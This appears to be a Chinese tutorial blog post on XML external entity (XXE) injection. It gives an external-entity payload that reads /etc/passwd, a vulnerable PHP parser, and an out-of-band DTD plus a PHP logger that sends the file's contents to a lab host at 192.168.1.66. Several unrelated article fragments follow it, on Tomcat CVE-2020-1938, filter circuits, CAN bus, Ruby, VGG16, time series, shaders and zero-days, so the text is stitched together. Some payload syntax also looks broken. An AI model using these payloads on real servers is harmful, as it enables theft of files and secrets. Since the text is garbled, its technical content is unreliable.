背景:2018-7-4 微信支付SDK漏洞(XXE漏洞),攻击者可以获取服务器中目录结构,文件内容,eg:代码,各种私钥。敏感数据泄露
XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.
XML Extwrnal Entity,也就是XML外部实体注入攻击
漏洞的利用过程和SSRF非常类似。漏洞的危害与ssrf几乎一致。
什么是XML?
区别:
1.XML可自定义标签
2.XML存储或传输数据
3,XML区分大小写
4.XML标签嵌套闭合比较严谨
5.必须要有根元素,如
6.实体字符 类似于xss eg:<>由< 和 >表示
HTML目的是为了显示数据
元素代表标签:



第一行:定义note元素,定义了里面有to,from,heading,body这四个元素

ENtity 实体定义:在DTD下面 (实体就是个变量)
<!ENTITY free "nice"> 定义了一个实体叫free ,free里面存了个nice,类似于变量的作用
调用变量:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "nice"> //内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
调用结果显示如下:

外部实体需要通过system引用
eg: //通过file协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM"file:///etc/passwd">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
DTD通过外部引用的方法:(逻辑上可行,实际看情况)
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
将上述代码写入free.dtd文件中
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "free.dtd"> //这里通过system来对free.dtd文件进行加载
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
导致文件读取,泄露服务器上的敏感数据 (前提条件是:XML文档能够被解析)
接下来的代码将展示XML文件如何被解析:
<?php
$xml=file_get_contents("php://input");//**接收用户传过来的XML文档**
//通过php- input来捕获数据流 data ,将捕获到的内容存到xml中
$data = simplexml_load_string($xml) ;
// 把xml文档解析成simple xml element object对象
echo "<pre>" ;
print_r($data) ;
//将解析后的对象打印到公屏
echo "</pre>" ;
?>
如何读取php文件:
php://filiter/read=convert.base64-encode/resource=xxe.php
当没有print_r($data);的情况下,即无回显,该如何解决呢?
解决方法:
1.获取数据,把数据内容保存到变量中 外部实体
2.获取前面取到的数据 (带外)oob
pentester lab(这里我设置的是桥接网络)

切换到root用户下:


然后再物理机上登入该虚拟机网站

该网站是否能解析xml?
解决方法:
发送给他一个xml文档,如果该网站解析的话,说明存在xxe漏洞
如果加载了外部资源,说明存在xxe
1.通过bp,先截取数据包

发到重发器中(删除最低下username和helloo那一行)

添加xml文档(记得要空出一行)
同时将CONtent-Type中的内容修改成tetx/xml

返回结果如下,(返回200,说明页面成功显示)

同时查看bp中的Collaborator

发现外部资源(dnsLOG)被进行访问了,说明存在xxe漏洞
这里通过构建一个网站,将用户信息记录到txt上(思路)
<?php
$pass = $_GET['pass'];
file_put_contents('pass.txt',$pass);//通过file_put_contents将pass的值记录到pass.txt上
?>
1.获取数据,把数据内容保存到变量中 外部实体 p1 =passwd(将p1作为参数)
2.OOB获取数据 p2 system http://192.168.1.66/xxe.php?pass = &p1(=passwd)//加载该资源的过程时,调用p1
具体代码实现:
xml文档:
<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.66/test.dtd">//声明了外部的dtd,因此要先到1.66去寻找dtd,找到以后开始调用dtd的代码
<foo>&e1;</foo>
dtd中代码作用:
1.获取数据,把数据内容保存到变量中 外部实体
2.OOB获取数据
先获取passwd,再将passwd发出去
先创建test.dtd
<!ENTITY %p1 SYSTEM"file:///etc/passwd">
<!ENTITY %p2 <!ENTITY e1 SYSTEM 'http://192.168.1.66/xxe.php?pass=%p1;'>">
%p2;

然后上传xml文档

结果存储再pass.txt文件中

``
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
目录前言滤波电路科普主要分类实际情况单位的概念常用评价参数函数型滤波器简单分析滤波电路构成低通滤波器RC低通滤波器RL低通滤波器高通滤波器RC高通滤波器RL高通滤波器部分摘自《LC滤波器设计与制作》,侵权删。前言最近需要学习放大电路和滤波电路,但是由于只在之前做音乐频谱分析仪的时候简单了解过一点点运放,所以也是相当从零开始学习了。滤波电路科普主要分类滤波器:主要是从不同频率的成分中提取出特定频率的信号。有源滤波器:由RC元件与运算放大器组成的滤波器。可滤除某一次或多次谐波,最普通易于采用的无源滤波器结构是将电感与电容串联,可对主要次谐波(3、5、7)构成低阻抗旁路。无源滤波器:无源滤波器,又称
最近在学习CAN,记录一下,也供大家参考交流。推荐几个我觉得很好的CAN学习,本文也是在看了他们的好文之后做的笔记首先是瑞萨的CAN入门,真的通透;秀!靠这篇我竟然2天理解了CAN协议!实战STM32F4CAN!原文链接:https://blog.csdn.net/XiaoXiaoPengBo/article/details/116206252CAN详解(小白教程)原文链接:https://blog.csdn.net/xwwwj/article/details/105372234一篇易懂的CAN通讯协议指南1一篇易懂的CAN通讯协议指南1-知乎(zhihu.com)视频推荐CAN总线个人知识总
深度学习部署:Windows安装pycocotools报错解决方法1.pycocotools库的简介2.pycocotools安装的坑3.解决办法更多Ai资讯:公主号AiCharm本系列是作者在跑一些深度学习实例时,遇到的各种各样的问题及解决办法,希望能够帮助到大家。ERROR:Commanderroredoutwithexitstatus1:'D:\Anaconda3\python.exe'-u-c'importsys,setuptools,tokenize;sys.argv[0]='"'"'C:\\Users\\46653\\AppData\\Local\\Temp\\pip-instal
我完全不是程序员,正在学习使用Ruby和Rails框架进行编程。我目前正在使用Ruby1.8.7和Rails3.0.3,但我想知道我是否应该升级到Ruby1.9,因为我真的没有任何升级的“遗留”成本。缺点是什么?我是否会遇到与普通gem的兼容性问题,或者甚至其他我不太了解甚至无法预料的问题? 最佳答案 你应该升级。不要坚持从1.8.7开始。如果您发现不支持1.9.2的gem,请避免使用它们(因为它们很可能不被维护)。如果您对gem是否兼容1.9.2有任何疑问,您可以在以下位置查看:http://www.railsplugins.or
如何学习ruby的正则表达式?(对于假人) 最佳答案 http://www.rubular.com/在Ruby中使用正则表达式时是一个很棒的工具,因为它可以立即将结果可视化。 关于ruby-我如何学习ruby的正则表达式?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/1881231/
深度学习12.CNN经典网络VGG16一、简介1.VGG来源2.VGG分类3.不同模型的参数数量4.3x3卷积核的好处5.关于学习率调度6.批归一化二、VGG16层分析1.层划分2.参数展开过程图解3.参数传递示例4.VGG16各层参数数量三、代码分析1.VGG16模型定义2.训练3.测试一、简介1.VGG来源VGG(VisualGeometryGroup)是一个视觉几何组在2014年提出的深度卷积神经网络架构。VGG在2014年ImageNet图像分类竞赛亚军,定位竞赛冠军;VGG网络采用连续的小卷积核(3x3)和池化层构建深度神经网络,网络深度可以达到16层或19层,其中VGG16和VGG
文章目录1、自相关函数ACF2、偏自相关函数PACF3、ARIMA(p,d,q)的阶数判断4、代码实现1、引入所需依赖2、数据读取与处理3、一阶差分与绘图4、ACF5、PACF1、自相关函数ACF自相关函数反映了同一序列在不同时序的取值之间的相关性。公式:ACF(k)=ρk=Cov(yt,yt−k)Var(yt)ACF(k)=\rho_{k}=\frac{Cov(y_{t},y_{t-k})}{Var(y_{t})}ACF(k)=ρk=Var(yt)Cov(yt,yt−k)其中分子用于求协方差矩阵,分母用于计算样本方差。求出的ACF值为[-1,1]。但对于一个平稳的AR模型,求出其滞
写在之前Shader变体、Shader属性定义技巧、自定义材质面板,这三个知识点任何一个单拿出来都是一套知识体系,不能一概而论,本文章目的在于将学习和实际工作中遇见的问题进行总结,类似于网络笔记之用,方便后续回顾查看,如有以偏概全、不祥不尽之处,还望海涵。1、Shader变体先看一段代码......Properties{ [KeywordEnum(on,off)]USL_USE_COL("IsUseColorMixTex?",int)=0 [Toggle(IS_RED_ON)]_IsRed("IsRed?",int)=0}......//中间省略,后续会有完整代码 #pragmamulti_c
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相